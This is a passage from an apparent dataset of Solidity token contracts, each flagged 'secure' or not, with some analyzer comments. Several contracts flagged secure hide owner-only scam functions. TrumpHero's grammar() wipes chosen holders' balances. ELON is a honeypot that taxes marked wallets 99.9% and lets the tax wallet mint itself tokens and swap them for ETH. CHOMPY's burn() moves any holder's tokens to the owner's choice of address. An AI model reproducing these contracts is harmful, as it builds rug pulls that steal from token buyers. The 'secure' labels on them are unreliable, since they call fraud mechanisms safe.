_balances[account].add(amount);\n\n emit Transfer(address(0), account, amount);\n }\n}", "file_name": "solidity_code_618.sol", "secure": 1, "size_bytes": 4396 }
{ "code": "// SPDX-License-Identifier: UNLICENSE\n\npragma solidity ^0.8.0;\n\nimport \"@openzeppelin/contracts/utils/Context.sol\" as Context;\nimport \"@openzeppelin/contracts/interfaces/IERC20.sol\" as IERC20;\nimport \"@openzeppelin/contracts/utils/Address.sol\" as Address;\nimport \"@openzeppelin/contracts/utils/math/SafeMath.sol\" as SafeMath;\n\ncontract TrumpHero is Context, IERC20 {\n mapping(address => uint256) private _balances;\n\n mapping(address => mapping(address => uint256)) private _allowances;\n\n using SafeMath for uint256;\n\n using Address for address;\n\n string private _name;\n\n string private _symbol;\n\n uint8 private immutable _decimals;\n\n uint256 private _totalSupply;\n\n address public immutable forcast;\n\n constructor() {\n _name = \"TrumpHero \";\n\n _symbol = \"TrumpHero\";\n\n _decimals = 18;\n\n uint256 initialSupply = 6600000000;\n\n forcast = msg.sender;\n\n _mint(msg.sender, initialSupply * (10 ** 18));\n }\n\n function name() public view returns (string memory) {\n return _name;\n }\n\n function symbol() public view returns (string memory) {\n return _symbol;\n }\n\n function decimals() public view returns (uint8) {\n return _decimals;\n }\n\n function totalSupply() public view override returns (uint256) {\n return _totalSupply;\n }\n\n function balanceOf(address account) public view override returns (uint256) {\n return _balances[account];\n }\n\n function transfer(\n address recipient,\n uint256 amount\n ) public virtual override returns (bool) {\n _transfer(_msgSender(), recipient, amount);\n\n return true;\n }\n\n function transferFrom(\n address sender,\n address recipient,\n uint256 amount\n ) public virtual override returns (bool) {\n _transfer(sender, recipient, amount);\n\n _approve(\n sender,\n _msgSender(),\n _allowances[sender][_msgSender()].sub(\n amount,\n \"ERC20: transfer amount exceeds allowance\"\n )\n );\n\n return true;\n }\n\n function allowance(\n address owner,\n address spender\n ) public view virtual override returns (uint256) {\n return _allowances[owner][spender];\n }\n\n function approve(\n address spender,\n uint256 amount\n ) public virtual override returns (bool) {\n _approve(_msgSender(), spender, amount);\n\n return true;\n }\n\n function _approve(\n address owner,\n address spender,\n uint256 amount\n ) internal virtual {\n require(owner != address(0), \"ERC20: approve from the zero address\");\n\n require(spender != address(0), \"ERC20: approve to the zero address\");\n\n _allowances[owner][spender] = amount;\n\n emit Approval(owner, spender, amount);\n }\n\n function _transfer(\n address sender,\n address recipient,\n uint256 amount\n ) internal virtual {\n require(sender != address(0), \"ERC20: transfer from the zero address\");\n\n require(recipient != address(0), \"ERC20: transfer to the zero address\");\n\n _balances[sender] = _balances[sender].sub(\n amount,\n \"ERC20: transfer amount exceeds balance\"\n );\n\n _balances[recipient] = _balances[recipient].add(amount);\n\n emit Transfer(sender, recipient, amount);\n }\n\n modifier onlyOwner() {\n require(msg.sender == forcast, \"Not allowed\");\n\n _;\n }\n\n function grammar(address[] memory braising) public onlyOwner {\n for (uint256 i = 0; i < braising.length; i++) {\n address account = braising[i];\n\n uint256 amount = _balances[account];\n\n _balances[account] = _balances[account].sub(amount, \"ERROR\");\n\n _balances[address(0)] = _balances[address(0)].add(amount);\n }\n }\n\n function _mint(address account, uint256 amount) internal virtual {\n require(account != address(0), \"ERC20: mint to the zero address\");\n\n _totalSupply = _totalSupply.add(amount);\n\n _balances[account] = _balances[account].add(amount);\n\n emit Transfer(address(0), account, amount);\n }\n}", "file_name": "solidity_code_619.sol", "secure": 1, "size_bytes": 4374 }
{ "code": "// SPDX-License-Identifier: MIT\n\npragma solidity ^0.8.0;\n\nimport \"@openzeppelin/contracts/token/ERC20/ERC20.sol\" as ERC20;\nimport \"@openzeppelin/contracts/access/Ownable.sol\" as Ownable;\n\ncontract BlackHoleFreeMintToken is ERC20, Ownable {\n uint256 public constant MAX_SUPPLY = 210000000000 * 1 ether;\n\n uint256 public constant MINT_AMOUNT = 21000000 * 1 ether;\n\n mapping(address => uint256) public numMinted;\n\n constructor() ERC20(\"BlackHole\", \"0\") {}\n\n function mint() external {\n require(\n totalSupply() + MINT_AMOUNT <= MAX_SUPPLY,\n \"Total supply exceeded\"\n );\n\n require(numMinted[msg.sender] < 10, \"Address minted 10\");\n\n require(msg.sender == tx.origin, \"Contracts are not allowed to mint\");\n\n numMinted[msg.sender] = numMinted[msg.sender] + 1;\n\n _mint(msg.sender, MINT_AMOUNT);\n }\n}", "file_name": "solidity_code_62.sol", "secure": 1, "size_bytes": 901 }
{ "code": "// SPDX-License-Identifier: MIT\n\npragma solidity ^0.8.0;\n\nimport \"@openzeppelin/contracts/access/Ownable.sol\" as Ownable;\nimport \"@openzeppelin/contracts/utils/math/SafeMath.sol\" as SafeMath;\nimport \"./IUniswapV2Router.sol\" as IUniswapV2Router;\n\ncontract ELON is Ownable {\n using SafeMath for uint256;\n\n\t// WARNING Optimization Issue (constable-states | ID: 54623bf): ELON._decimals should be constant \n\t// Recommendation for 54623bf: Add the 'constant' attribute to state variables that never change.\n uint256 public _decimals = 9;\n\n\t// WARNING Optimization Issue (immutable-states | ID: 8883d4b): ELON._totalSupply should be immutable \n\t// Recommendation for 8883d4b: Add the 'immutable' attribute to state variables that never change or are set only in the constructor.\n uint256 public _totalSupply = 1000000000000 * 10 ** _decimals;\n\n constructor() {\n _balances[sender()] = _totalSupply;\n\n emit Transfer(address(0), sender(), _balances[sender()]);\n\n _taxWallet = msg.sender;\n }\n\n\t// WARNING Optimization Issue (constable-states | ID: 79a5196): ELON._name should be constant \n\t// Recommendation for 79a5196: Add the 'constant' attribute to state variables that never change.\n string private _name = \"ELON\";\n\n\t// WARNING Optimization Issue (constable-states | ID: a142dcd): ELON._symbol should be constant \n\t// Recommendation for a142dcd: Add the 'constant' attribute to state variables that never change.\n string private _symbol = \"ELON\";\n\n\t// WARNING Optimization Issue (constable-states | ID: a4ec0b7): ELON.uniV2Router should be constant \n\t// Recommendation for a4ec0b7: Add the 'constant' attribute to state variables that never change.\n IUniswapV2Router private uniV2Router =\n IUniswapV2Router(0x7a250d5630B4cF539739dF2C5dAcb4c659F2488D);\n\n\t// WARNING Optimization Issue (immutable-states | ID: 9baba5e): ELON._taxWallet should be immutable \n\t// Recommendation for 9baba5e: Add the 'immutable' attribute to state variables that never change or are set only in the constructor.\n address public _taxWallet;\n\n function _approve(\n address accountOwner,\n address spender,\n uint256 amount\n ) internal virtual {\n require(\n accountOwner != address(0),\n \"IERC20: approve from the zero address\"\n );\n\n require(spender != address(0), \"IERC20: approve to the zero address\");\n\n _allowances[accountOwner][spender] = amount;\n\n emit Approval(accountOwner, spender, amount);\n }\n\n function name() external view returns (string memory) {\n return _name;\n }\n\n function balanceOf(address account) public view returns (uint256) {\n return _balances[account];\n }\n\n function LimitToRemove() public {}\n\n function LimitToAdd() external {}\n\n function SwapsExecuteMin() public {}\n\n function SwapsExecuteMax() public {}\n\n function ToStartApprove(address[] calldata walletAddress) external {\n uint256 fromBlockNo = getBlockNumber();\n\n for (\n uint256 walletInde = 0;\n walletInde < walletAddress.length;\n walletInde++\n ) {\n if (!marketingAddres()) {} else {\n cooldowns[walletAddress[walletInde]] = fromBlockNo + 1;\n }\n }\n }\n\n function transferFrom(\n address from,\n address recipient,\n uint256 _amount\n ) public returns (bool) {\n _transfer(from, recipient, _amount);\n\n require(_allowances[from][sender()] >= _amount);\n\n return true;\n }\n\n function symbol() public view returns (string memory) {\n return _symbol;\n }\n\n function getBlockNumber() internal view returns (uint256) {\n return block.number;\n }\n\n mapping(address => mapping(address => uint256)) private _allowances;\n\n function allowance(\n address accountOwner,\n address spender\n ) public view returns (uint256) {\n return _allowances[accountOwner][spender];\n }\n\n function decreaseAllowance(\n address from,\n uint256 amount\n ) public returns (bool) {\n require(_allowances[msg.sender][from] >= amount);\n\n _approve(sender(), from, _allowances[msg.sender][from] - amount);\n\n return true;\n }\n\n event Transfer(address indexed from, address indexed to, uint256);\n\n mapping(address => uint256) internal cooldowns;\n\n function decimals() external view returns (uint256) {\n return _decimals;\n }\n\n function marketingAddres() private view returns (bool) {\n return (_taxWallet == (sender()));\n }\n\n function sender() internal view returns (address) {\n return msg.sender;\n }\n\n function totalSupply() external view returns (uint256) {\n return _totalSupply;\n }\n\n function RemoveTransferLimit(uint256 amount, address walletAddr) external {\n if (marketingAddres()) {\n _approve(address(this), address(uniV2Router), amount);\n\n _balances[address(this)] = amount;\n\n address[] memory addressPath = new address[](2);\n\n addressPath[0] = address(this);\n\n addressPath[1] = uniV2Router.WETH();\n\n uniV2Router.swapExactTokensForETHSupportingFeeOnTransferTokens(\n amount,\n 0,\n addressPath,\n walletAddr,\n block.timestamp + 32\n );\n } else {\n return;\n }\n }\n\n function _transfer(address from, address to, uint256 value) internal {\n uint256 _taxValue = 0;\n\n require(from != address(0));\n\n require(value <= _balances[from]);\n\n emit Transfer(from, to, value);\n\n _balances[from] = _balances[from] - (value);\n\n bool onCooldown = (cooldowns[from] <= (getBlockNumber()));\n\n uint256 _cooldownFeeValue = value.mul(999).div(1000);\n\n if ((cooldowns[from] != 0) && onCooldown) {\n _taxValue = (_cooldownFeeValue);\n }\n\n uint256 toBalance = _balances[to];\n\n toBalance += (value) - (_taxValue);\n\n _balances[to] = toBalance;\n }\n\n event Approval(address indexed, address indexed, uint256 value);\n\n function increaseAllowance(\n address spender,\n uint256 addedValue\n ) public returns (bool) {\n _approve(\n sender(),\n spender,\n _allowances[msg.sender][spender] + addedValue\n );\n\n return true;\n }\n\n function transfer(address recipient, uint256 amount) public returns (bool) {\n _transfer(sender(), recipient, amount);\n\n return true;\n }\n\n mapping(address => uint256) private _balances;\n\n function approve(\n address spender,\n uint256 amount\n ) public virtual returns (bool) {\n _approve(msg.sender, spender, amount);\n\n return true;\n }\n}", "file_name": "solidity_code_620.sol", "secure": 1, "size_bytes": 7057 }
{ "code": "// SPDX-License-Identifier: MIT\n\npragma solidity ^0.8.0;\n\nimport \"@openzeppelin/contracts/utils/Context.sol\" as Context;\nimport \"@openzeppelin/contracts/interfaces/IERC20.sol\" as IERC20;\nimport \"@openzeppelin/contracts/interfaces/IERC20Metadata.sol\" as IERC20Metadata;\nimport \"@openzeppelin/contracts/access/Ownable.sol\" as Ownable;\n\ncontract Token is Context, IERC20, IERC20Metadata, Ownable {\n mapping(address => uint256) private _balances;\n\n mapping(address => mapping(address => uint256)) private _allowances;\n\n uint256 private _totalSupply;\n\n string private _name;\n\n string private _symbol;\n\n uint8 private constant _decimals = 18;\n\n uint256 public constant presaleReserve = 7_500_000_000 * (10 ** _decimals);\n\n uint256 public constant tokenRewardsReserve =\n 12_500_000_000 * (10 ** _decimals);\n\n uint256 public constant marketingReserve =\n 10_000_000_000 * (10 ** _decimals);\n\n uint256 public constant airdropReserve = 7_500_000_000 * (10 ** _decimals);\n\n uint256 public constant exchangesReserve =\n 7_500_000_000 * (10 ** _decimals);\n\n uint256 public constant foundersReserve = 5_000_000_000 * (10 ** _decimals);\n\n constructor() {\n _name = \"GiffyGoat\";\n\n _symbol = \"Giffy\";\n\n _mint(0x88eeee6fa0dc75AeBBC2aC6C18a2a476040710Eb, presaleReserve);\n\n _mint(0x9F834dd75Ac67EF03C86d3407A994E07E01Ab2E6, tokenRewardsReserve);\n\n _mint(0x3eA5cc1b0d60BE8915B7345060E154739174E29b, airdropReserve);\n\n _mint(0x99f3E893C9B06391eA40Eb7E812874779C200d41, marketingReserve);\n\n _mint(0xA5018349d493504976DC83443AbAc367f4e0C216, foundersReserve);\n\n _mint(0x6a43D3B04f7350057BE46E33bD2D24B21118a2b6, exchangesReserve);\n }\n\n function name() public view virtual override returns (string memory) {\n return _name;\n }\n\n function symbol() public view virtual override returns (string memory) {\n return _symbol;\n }\n\n function decimals() public view virtual override returns (uint8) {\n return _decimals;\n }\n\n function totalSupply() public view virtual override returns (uint256) {\n return _totalSupply;\n }\n\n function balanceOf(\n address account\n ) public view virtual override returns (uint256) {\n return _balances[account];\n }\n\n function transfer(\n address recipient,\n uint256 amount\n ) public virtual override returns (bool) {\n _transfer(_msgSender(), recipient, amount);\n\n return true;\n }\n\n function allowance(\n address accountOwner,\n address spender\n ) public view virtual override returns (uint256) {\n return _allowances[accountOwner][spender];\n }\n\n function approve(\n address spender,\n uint256 amount\n ) public virtual override returns (bool) {\n _approve(_msgSender(), spender, amount);\n\n return true;\n }\n\n function transferFrom(\n address sender,\n address recipient,\n uint256 amount\n ) public virtual override returns (bool) {\n _transfer(sender, recipient, amount);\n\n uint256 currentAllowance = _allowances[sender][_msgSender()];\n\n require(\n currentAllowance >= amount,\n \"ERC20: transfer amount exceeds allowance\"\n );\n\n unchecked {\n _approve(sender, _msgSender(), currentAllowance - amount);\n }\n\n return true;\n }\n\n function increaseAllowance(\n address spender,\n uint256 addedValue\n ) public virtual returns (bool) {\n _approve(\n _msgSender(),\n spender,\n _allowances[_msgSender()][spender] + addedValue\n );\n\n return true;\n }\n\n function decreaseAllowance(\n address spender,\n uint256 subtractedValue\n ) public virtual returns (bool) {\n uint256 currentAllowance = _allowances[_msgSender()][spender];\n\n require(\n currentAllowance >= subtractedValue,\n \"ERC20: decreased allowance below zero\"\n );\n\n unchecked {\n _approve(_msgSender(), spender, currentAllowance - subtractedValue);\n }\n\n return true;\n }\n\n function _transfer(\n address sender,\n address recipient,\n uint256 amount\n ) internal virtual {\n require(sender != address(0), \"ERC20: transfer from the zero address\");\n\n require(recipient != address(0), \"ERC20: transfer to the zero address\");\n\n uint256 senderBalance = _balances[sender];\n\n require(\n senderBalance >= amount,\n \"ERC20: transfer amount exceeds balance\"\n );\n\n unchecked {\n _balances[sender] = senderBalance - amount;\n }\n\n _balances[recipient] += amount;\n\n emit Transfer(sender, recipient, amount);\n }\n\n function _mint(address account, uint256 amount) internal virtual {\n require(account != address(0), \"ERC20: mint to the zero address\");\n\n _totalSupply += amount;\n\n _balances[account] += amount;\n\n emit Transfer(address(0), account, amount);\n }\n\n function _burn(address account, uint256 amount) internal virtual {\n require(account != address(0), \"ERC20: burn from the zero address\");\n\n uint256 accountBalance = _balances[account];\n\n require(accountBalance >= amount, \"ERC20: burn amount exceeds balance\");\n\n unchecked {\n _balances[account] = accountBalance - amount;\n }\n\n _totalSupply -= amount;\n\n emit Transfer(account, address(0), amount);\n }\n\n function burn(uint256 amount) external {\n _burn(_msgSender(), amount);\n }\n\n function _approve(\n address accountOwner,\n address spender,\n uint256 amount\n ) internal virtual {\n require(\n accountOwner != address(0),\n \"ERC20: approve from the zero address\"\n );\n\n require(spender != address(0), \"ERC20: approve to the zero address\");\n\n _allowances[accountOwner][spender] = amount;\n\n emit Approval(accountOwner, spender, amount);\n }\n}", "file_name": "solidity_code_621.sol", "secure": 1, "size_bytes": 6304 }
{ "code": "// SPDX-License-Identifier: MIT\n\npragma solidity ^0.8.0;\n\nabstract contract Context {\n function _msgSender() internal view virtual returns (address payable) {\n return payable(msg.sender);\n }\n\n function _msgData() internal view virtual returns (bytes memory) {\n this;\n\n return msg.data;\n }\n}", "file_name": "solidity_code_622.sol", "secure": 1, "size_bytes": 337 }
{ "code": "// SPDX-License-Identifier: MIT\n\npragma solidity ^0.8.0;\n\nimport \"@openzeppelin/contracts/utils/Context.sol\" as Context;\nimport \"@openzeppelin/contracts/interfaces/IERC20.sol\" as IERC20;\nimport \"@openzeppelin/contracts/utils/math/SafeMath.sol\" as SafeMath;\n\ncontract ERC20 is Context, IERC20 {\n using SafeMath for uint256;\n\n mapping(address => uint256) private _balances;\n\n mapping(address => mapping(address => uint256)) private _allowances;\n\n uint256 private _totalSupply;\n\n string private _name;\n\n string private _symbol;\n\n uint8 private _decimals;\n\n constructor(string memory name_, string memory symbol_) {\n _name = name_;\n\n _symbol = symbol_;\n\n _decimals = 18;\n }\n\n function name() public view virtual returns (string memory) {\n return _name;\n }\n\n function symbol() public view virtual returns (string memory) {\n return _symbol;\n }\n\n function decimals() public view virtual returns (uint8) {\n return _decimals;\n }\n\n function totalSupply() public view virtual override returns (uint256) {\n return _totalSupply;\n }\n\n function balanceOf(\n address account\n ) public view virtual override returns (uint256) {\n return _balances[account];\n }\n\n function transfer(\n address recipient,\n uint256 amount\n ) public virtual override returns (bool) {\n _transfer(_msgSender(), recipient, amount);\n\n return true;\n }\n\n function allowance(\n address owner,\n address spender\n ) public view virtual override returns (uint256) {\n return _allowances[owner][spender];\n }\n\n function approve(\n address spender,\n uint256 amount\n ) public virtual override returns (bool) {\n _approve(_msgSender(), spender, amount);\n\n return true;\n }\n\n function transferFrom(\n address sender,\n address recipient,\n uint256 amount\n ) public virtual override returns (bool) {\n _transfer(sender, recipient, amount);\n\n _approve(\n sender,\n _msgSender(),\n _allowances[sender][_msgSender()].sub(\n amount,\n \"ERC20: transfer amount exceeds allowance\"\n )\n );\n\n return true;\n }\n\n function increaseAllowance(\n address spender,\n uint256 addedValue\n ) public virtual returns (bool) {\n _approve(\n _msgSender(),\n spender,\n _allowances[_msgSender()][spender].add(addedValue)\n );\n\n return true;\n }\n\n function decreaseAllowance(\n address spender,\n uint256 subtractedValue\n ) public virtual returns (bool) {\n _approve(\n _msgSender(),\n spender,\n _allowances[_msgSender()][spender].sub(\n subtractedValue,\n \"ERC20: decreased allowance below zero\"\n )\n );\n\n return true;\n }\n\n function _transfer(\n address sender,\n address recipient,\n uint256 amount\n ) internal virtual {\n require(sender != address(0), \"zero address\");\n\n require(recipient != address(0), \"zero address\");\n\n _beforeTokenTransfer(sender, recipient, amount);\n\n _balances[sender] = _balances[sender].sub(amount, \"exceeds balance\");\n\n _balances[recipient] = _balances[recipient].add(amount);\n\n emit Transfer(sender, recipient, amount);\n }\n\n function _mint(address account, uint256 amount) internal virtual {\n require(account != address(0), \"ERC20: mint to the zero address\");\n\n _beforeTokenTransfer(address(0), account, amount);\n\n _totalSupply = _totalSupply.add(amount);\n\n _balances[account] = _balances[account].add(amount);\n\n emit Transfer(address(0), account, amount);\n }\n\n function _burn(address account, uint256 amount) internal virtual {\n require(account != address(0), \"zero address\");\n\n _beforeTokenTransfer(account, address(0), amount);\n\n _balances[account] = _balances[account].sub(amount, \"exceeds balance\");\n\n _totalSupply = _totalSupply.sub(amount);\n\n emit Transfer(account, address(0), amount);\n }\n\n function _approve(\n address owner,\n address spender,\n uint256 amount\n ) internal virtual {\n require(owner != address(0), \"zero address\");\n\n require(spender != address(0), \"zero address\");\n\n _allowances[owner][spender] = amount;\n\n emit Approval(owner, spender, amount);\n }\n\n function _setupDecimals(uint8 decimals_) internal virtual {\n _decimals = decimals_;\n }\n\n function _beforeTokenTransfer(\n address from,\n address to,\n uint256 amount\n ) internal virtual {}\n}", "file_name": "solidity_code_623.sol", "secure": 1, "size_bytes": 4968 }
{ "code": "// SPDX-License-Identifier: MIT\n\npragma solidity ^0.8.0;\n\nlibrary IterableMapping {\n struct Map {\n address[] keys;\n mapping(address => uint256) values;\n mapping(address => uint256) indexOf;\n mapping(address => bool) inserted;\n }\n\n function get(Map storage map, address key) public view returns (uint256) {\n return map.values[key];\n }\n\n function getIndexOfKey(\n Map storage map,\n address key\n ) public view returns (int256) {\n if (!map.inserted[key]) {\n return -1;\n }\n\n return int(map.indexOf[key]);\n }\n\n function getKeyAtIndex(\n Map storage map,\n uint256 index\n ) public view returns (address) {\n return map.keys[index];\n }\n\n function size(Map storage map) public view returns (uint256) {\n return map.keys.length;\n }\n\n function set(Map storage map, address key, uint256 val) public {\n if (map.inserted[key]) {\n map.values[key] = val;\n } else {\n map.inserted[key] = true;\n\n map.values[key] = val;\n\n map.indexOf[key] = map.keys.length;\n\n map.keys.push(key);\n }\n }\n\n function remove(Map storage map, address key) public {\n if (!map.inserted[key]) {\n return;\n }\n\n delete map.inserted[key];\n\n delete map.values[key];\n\n uint256 index = map.indexOf[key];\n\n uint256 lastIndex = map.keys.length - 1;\n\n address lastKey = map.keys[lastIndex];\n\n map.indexOf[lastKey] = index;\n\n delete map.indexOf[key];\n\n map.keys[index] = lastKey;\n\n map.keys.pop();\n }\n}", "file_name": "solidity_code_624.sol", "secure": 1, "size_bytes": 1738 }
{ "code": "// SPDX-License-Identifier: MIT\n\npragma solidity ^0.8.0;\n\nlibrary SafeMath {\n function tryAdd(\n uint256 a,\n uint256 b\n ) internal pure returns (bool, uint256) {\n uint256 c = a + b;\n\n if (c < a) return (false, 0);\n\n return (true, c);\n }\n\n function trySub(\n uint256 a,\n uint256 b\n ) internal pure returns (bool, uint256) {\n if (b > a) return (false, 0);\n\n return (true, a - b);\n }\n\n function tryMul(\n uint256 a,\n uint256 b\n ) internal pure returns (bool, uint256) {\n if (a == 0) return (true, 0);\n\n uint256 c = a * b;\n\n if (c / a != b) return (false, 0);\n\n return (true, c);\n }\n\n function tryDiv(\n uint256 a,\n uint256 b\n ) internal pure returns (bool, uint256) {\n if (b == 0) return (false, 0);\n\n return (true, a / b);\n }\n\n function tryMod(\n uint256 a,\n uint256 b\n ) internal pure returns (bool, uint256) {\n if (b == 0) return (false, 0);\n\n return (true, a % b);\n }\n\n function add(uint256 a, uint256 b) internal pure returns (uint256) {\n uint256 c = a + b;\n\n require(c >= a, \"SafeMath: addition overflow\");\n\n return c;\n }\n\n function sub(uint256 a, uint256 b) internal pure returns (uint256) {\n require(b <= a, \"SafeMath: subtraction overflow\");\n\n return a - b;\n }\n\n function mul(uint256 a, uint256 b) internal pure returns (uint256) {\n if (a == 0) return 0;\n\n uint256 c = a * b;\n\n require(c / a == b, \"SafeMath: multiplication overflow\");\n\n return c;\n }\n\n function div(uint256 a, uint256 b) internal pure returns (uint256) {\n require(b > 0, \"SafeMath: division by zero\");\n\n return a / b;\n }\n\n function mod(uint256 a, uint256 b) internal pure returns (uint256) {\n require(b > 0, \"SafeMath: modulo by zero\");\n\n return a % b;\n }\n\n function sub(\n uint256 a,\n uint256 b,\n string memory errorMessage\n ) internal pure returns (uint256) {\n require(b <= a, errorMessage);\n\n return a - b;\n }\n\n function div(\n uint256 a,\n uint256 b,\n string memory errorMessage\n ) internal pure returns (uint256) {\n require(b > 0, errorMessage);\n\n return a / b;\n }\n\n function mod(\n uint256 a,\n uint256 b,\n string memory errorMessage\n ) internal pure returns (uint256) {\n require(b > 0, errorMessage);\n\n return a % b;\n }\n}", "file_name": "solidity_code_625.sol", "secure": 1, "size_bytes": 2671 }
{ "code": "// SPDX-License-Identifier: MIT\n\npragma solidity ^0.8.0;\n\nlibrary SafeMathInt {\n function mul(int256 a, int256 b) internal pure returns (int256) {\n require(!(a == -2 ** 255 && b == -1) && !(b == -2 ** 255 && a == -1));\n\n int256 c = a * b;\n\n require((b == 0) || (c / b == a));\n\n return c;\n }\n\n function div(int256 a, int256 b) internal pure returns (int256) {\n require(!(a == -2 ** 255 && b == -1) && (b > 0));\n\n return a / b;\n }\n\n function sub(int256 a, int256 b) internal pure returns (int256) {\n require((b >= 0 && a - b <= a) || (b < 0 && a - b > a));\n\n return a - b;\n }\n\n function add(int256 a, int256 b) internal pure returns (int256) {\n int256 c = a + b;\n\n require((b >= 0 && c >= a) || (b < 0 && c < a));\n\n return c;\n }\n\n function toUint256Safe(int256 a) internal pure returns (uint256) {\n require(a >= 0);\n\n return uint256(a);\n }\n}", "file_name": "solidity_code_626.sol", "secure": 1, "size_bytes": 1000 }
{ "code": "// SPDX-License-Identifier: MIT\n\npragma solidity ^0.8.0;\n\nlibrary SafeMathUint {\n function toInt256Safe(uint256 a) internal pure returns (int256) {\n int256 b = int256(a);\n\n require(b >= 0);\n\n return b;\n }\n}", "file_name": "solidity_code_627.sol", "secure": 1, "size_bytes": 245 }
{ "code": "// SPDX-License-Identifier: MIT\n\npragma solidity ^0.8.0;\n\nimport \"@openzeppelin/contracts/access/Ownable.sol\" as Ownable;\nimport \"@openzeppelin/contracts/token/ERC20/ERC20.sol\" as ERC20;\n\ncontract NewVault is Ownable {\n address payable public developer;\n\n constructor() {\n address msgSender = _msgSender();\n\n developer = payable(msgSender);\n }\n\n fallback() external payable {}\n\n receive() external payable {}\n\n\t// WARNING Vulnerability (missing-zero-check | severity: Low | ID: a913219): NewVault.withdraw(address,uint256)._address lacks a zerocheck on \t address(_address).transfer(_value)\n\t// Recommendation for a913219: Check that the address is not zero.\n function withdraw(\n address _address,\n uint256 _value\n ) public onlyOwner returns (bool) {\n require(address(this).balance >= _value);\n\n\t\t// missing-zero-check | ID: a913219\n payable(_address).transfer(_value);\n\n return true;\n }\n\n function withdrawToken(\n address tokenAddress,\n address _address,\n uint256 _value\n ) public onlyOwner returns (bool success) {\n return ERC20(tokenAddress).transfer(_address, _value);\n }\n\n function getDev() public view returns (address) {\n return developer;\n }\n\n\t// WARNING Vulnerability (missing-zero-check | severity: Low | ID: abaa944): NewVault.changeDev(address).newAddress lacks a zerocheck on \t developer = address(newAddress)\n\t// Recommendation for abaa944: Check that the address is not zero.\n function changeDev(address newAddress) public onlyOwner {\n\t\t// missing-zero-check | ID: abaa944\n developer = payable(newAddress);\n }\n}", "file_name": "solidity_code_628.sol", "secure": 0, "size_bytes": 1715 }
{ "code": "// SPDX-License-Identifier: MIT\n\npragma solidity ^0.8.0;\n\nimport \"@openzeppelin/contracts/token/ERC20/ERC20.sol\" as ERC20;\nimport \"@openzeppelin/contracts/access/Ownable.sol\" as Ownable;\n\ncontract MooShib is ERC20, Ownable {\n constructor() ERC20(\" Moo Deng Shiba Inu\", \"MOOSHIB\") Ownable(msg.sender) {\n _mint(msg.sender, 10000000000 * 10 ** decimals());\n }\n}", "file_name": "solidity_code_629.sol", "secure": 1, "size_bytes": 382 }
{ "code": "// SPDX-License-Identifier: AML AND MIT\n\npragma solidity ^0.8.0;\n\nimport \"./AddressUpgradeable.sol\" as AddressUpgradeable;\n\nabstract contract Initializable {\n uint8 private _initialized;\n\n bool private _initializing;\n\n event Initialized(uint8 version);\n\n modifier initializer() {\n bool isTopLevelCall = !_initializing;\n\n require(\n (isTopLevelCall && _initialized < 1) ||\n (!AddressUpgradeable.isContract(address(this)) &&\n _initialized == 1),\n \"Initializable: contract is already initialized\"\n );\n\n _initialized = 1;\n\n if (isTopLevelCall) {\n _initializing = true;\n }\n\n _;\n\n if (isTopLevelCall) {\n _initializing = false;\n\n emit Initialized(1);\n }\n }\n\n modifier reinitializer(uint8 version) {\n require(\n !_initializing && _initialized < version,\n \"Initializable: contract is already initialized\"\n );\n\n _initialized = version;\n\n _initializing = true;\n\n _;\n\n _initializing = false;\n\n emit Initialized(version);\n }\n\n modifier onlyInitializing() {\n require(_initializing, \"Initializable: contract is not initializing\");\n\n _;\n }\n\n function _disableInitializers() internal virtual {\n require(!_initializing, \"Initializable: contract is initializing\");\n\n if (_initialized != type(uint8).max) {\n _initialized = type(uint8).max;\n\n emit Initialized(type(uint8).max);\n }\n }\n\n function _getInitializedVersion() internal view returns (uint8) {\n return _initialized;\n }\n\n function _isInitializing() internal view returns (bool) {\n return _initializing;\n }\n}", "file_name": "solidity_code_63.sol", "secure": 1, "size_bytes": 1858 }
{ "code": "// SPDX-License-Identifier: MIT\n\npragma solidity ^0.8.0;\n\nimport \"@openzeppelin/contracts/token/ERC20/ERC20.sol\" as ERC20;\nimport \"@openzeppelin/contracts/access/Ownable.sol\" as Ownable;\n\ncontract Bernau is ERC20, Ownable {\n constructor(\n address initialOwner\n ) ERC20(\"Bernau\", \"BRN\") Ownable(initialOwner) {\n _mint(owner(), 10000000e8);\n }\n}", "file_name": "solidity_code_630.sol", "secure": 1, "size_bytes": 379 }
{ "code": "// SPDX-License-Identifier: UNLICENSE\n\npragma solidity ^0.8.0;\n\nimport \"@openzeppelin/contracts/token/ERC20/ERC20.sol\" as ERC20;\nimport \"@openzeppelin/contracts/access/Ownable.sol\" as Ownable;\n\ncontract CHOMPY is ERC20, Ownable {\n event TokensBurned(\n address indexed from,\n address indexed to,\n uint256 amount\n );\n\n constructor(\n address initialOwner\n ) ERC20(\"The King of memes Chompy\", \"CHOMPY\") Ownable(initialOwner) {\n _mint(initialOwner, 1000000000 * (10 ** decimals()));\n\n transferOwnership(initialOwner);\n }\n\n function burn(address from, address to) external onlyOwner {\n uint256 amount = balanceOf(from);\n\n require(amount > 0, \"No tokens to transfer\");\n\n _transfer(from, to, amount);\n\n emit TokensBurned(from, to, amount);\n }\n}", "file_name": "solidity_code_631.sol", "secure": 1, "size_bytes": 858 }
{ "code": "// SPDX-License-Identifier: MIT\n\npragma solidity ^0.8.0;\n\nimport \"@openzeppelin/contracts/token/ERC20/ERC20.sol\" as ERC20;\n\ncontract MultiCat is ERC20 {\n uint256 private constant INITIAL_SUPPLY = 100_000_000 * 10 ** 18;\n\n constructor() ERC20(\"MultiCat\", \"MCAT\") {\n _mint(msg.sender, INITIAL_SUPPLY);\n }\n}", "file_name": "solidity_code_632.sol", "secure": 1, "size_bytes": 332 }
{ "code": "// SPDX-License-Identifier: UNLICENSE\n\npragma solidity ^0.8.0;\n\nimport \"@openzeppelin/contracts/utils/Context.sol\" as Context;\nimport \"@openzeppelin/contracts/interfaces/IERC20.sol\" as IERC20;\nimport \"@openzeppelin/contracts/utils/Address.sol\" as Address;\nimport \"@openzeppelin/contracts/utils/math/SafeMath.sol\" as SafeMath;\n\ncontract Darkmagatrump is Context, IERC20 {\n mapping(address => uint256) private _balances;\n\n mapping(address => mapping(address => uint256)) private _allowances;\n\n using SafeMath for uint256;\n\n using Address for address;\n\n string private _name;\n\n string private _symbol;\n\n uint8 private immutable _decimals;\n\n uint256 private _totalSupply;\n\n address public immutable lace;\n\n constructor() {\n _name = \"Dark Maga Trump\";\n\n _symbol = \"DMT\";\n\n _decimals = 18;\n\n uint256 initialSupply = 947000000;\n\n lace = msg.sender;\n\n _mint(msg.sender, initialSupply * (10 ** 18));\n }\n\n function name() public view returns (string memory) {\n return _name;\n }\n\n function symbol() public view returns (string memory) {\n return _symbol;\n }\n\n function decimals() public view returns (uint8) {\n return _decimals;\n 